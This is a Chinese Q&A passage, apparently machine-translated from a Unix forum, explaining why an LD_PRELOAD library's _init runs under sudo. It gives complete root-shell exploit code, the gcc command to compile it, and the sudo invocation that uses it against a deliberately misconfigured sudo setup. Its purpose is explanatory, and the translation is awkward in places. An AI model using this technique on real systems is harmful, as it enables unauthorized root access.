LD_PRELOAD 和动态链接器

LD_PRELOAD 和动态链接器

因此,我一直在阅读有关动态衬垫(dl)的预加载功能以及如何使用它来使用 LD_PRELOAD 环境变量加载用户指定的共享库(.so),然后再链接到链接到的所有其他共享库。将加载可执行文件。我在特权升级的背景下读到了它。让我们想知道为什么没有对应用程序尝试加载的内容进行任何类型的控制?

我创建并编译了以下代码:

#include <stdio.h>
    #include <sys/types.h> 
    #include <stdlib.h>
    void _init() 
    { 
      unsetenv("LD_PRELOAD");
      setgid(0);
      setuid(0); 
      system("/bin/bash");
    }


gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

在此输入图像描述

如果我随后运行,sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find 则会生成一个 root shell。我知道我可以如图所示运行findsudo但我不明白为什么当我的假共享库中不需要该函数时会调用该函数find?或者,链接器只是在环境变量中加载指定的库,而不检查应用程序是否需要它?

如果有人能回答以消除我的困惑,我会很好。

谢谢你!

答案1

是吗,链接器只是在环境变量中加载指定的库,而不检查应用程序是否需要它?

是的,这就是要点LD_PRELOAD:那里列出的库是在程序之前加载的。LD_PRELOAD是改变程序行为的一种方法。

当 find 中不需要该函数时,为什么会调用我的假共享库中的函数?

_init在程序启动的早期就运行。动态加载器调用它。它不是从 find 的源代码中显式调用的。参见示例main() 之前发生的事情的总体概述或者Linux x86 程序启动或者Linux 上 main() 是如何执行的

如果您预加载了一个永远不会被调用的函数的定义,那么您的定义就无关紧要了。

我想知道为什么对应用程序尝试加载的内容没有任何控制?

通常用户可以运行任何他们想要的。用户运行的所有代码都以该用户的权限运行。仅当权限提升时才需要进行控制。

Sudo 允许提升权限。因此,它通常会禁止允许用户执行管理员在配置 sudo 规则时可能不希望执行的操作的功能。特别是, sudo 禁止大多数环境变量,尤其LD_LIBRARY_PATH是 和LD_PRELOAD。您正在使用一个具有易受攻击的 sudo 配置的系统。这是出于演示目的。

相关内容